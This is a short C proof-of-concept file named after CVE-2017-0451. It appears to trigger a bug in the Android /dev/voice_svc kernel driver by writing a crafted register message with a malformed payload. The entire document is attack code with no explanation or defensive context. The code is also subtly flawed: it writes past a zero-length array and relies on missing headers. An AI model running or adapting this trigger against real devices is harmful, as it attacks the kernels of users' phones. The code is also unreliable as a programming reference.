CVE-2017-0451.c

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define MSG_REGISTER 0x1
#define MSG_REQUEST  0x2
#define MSG_RESPONSE 0x3

struct voice_svc_write_msg {
        uint32_t msg_type;
        uint8_t payload[0];
};


int main(void) {
	int fd;
	struct voice_svc_write_msg msg = { 0 };
	msg.msg_type = MSG_REGISTER;
	msg.payload[0] = 0xff;
	fd = open("/dev/voice_svc", O_WRONLY);
	if (fd > 0) {
		write(fd, &msg, sizeof(msg));
	}
	else
		printf("Error on /dev/voice_svc with %s\n", strerror(errno));

	close(fd);
 }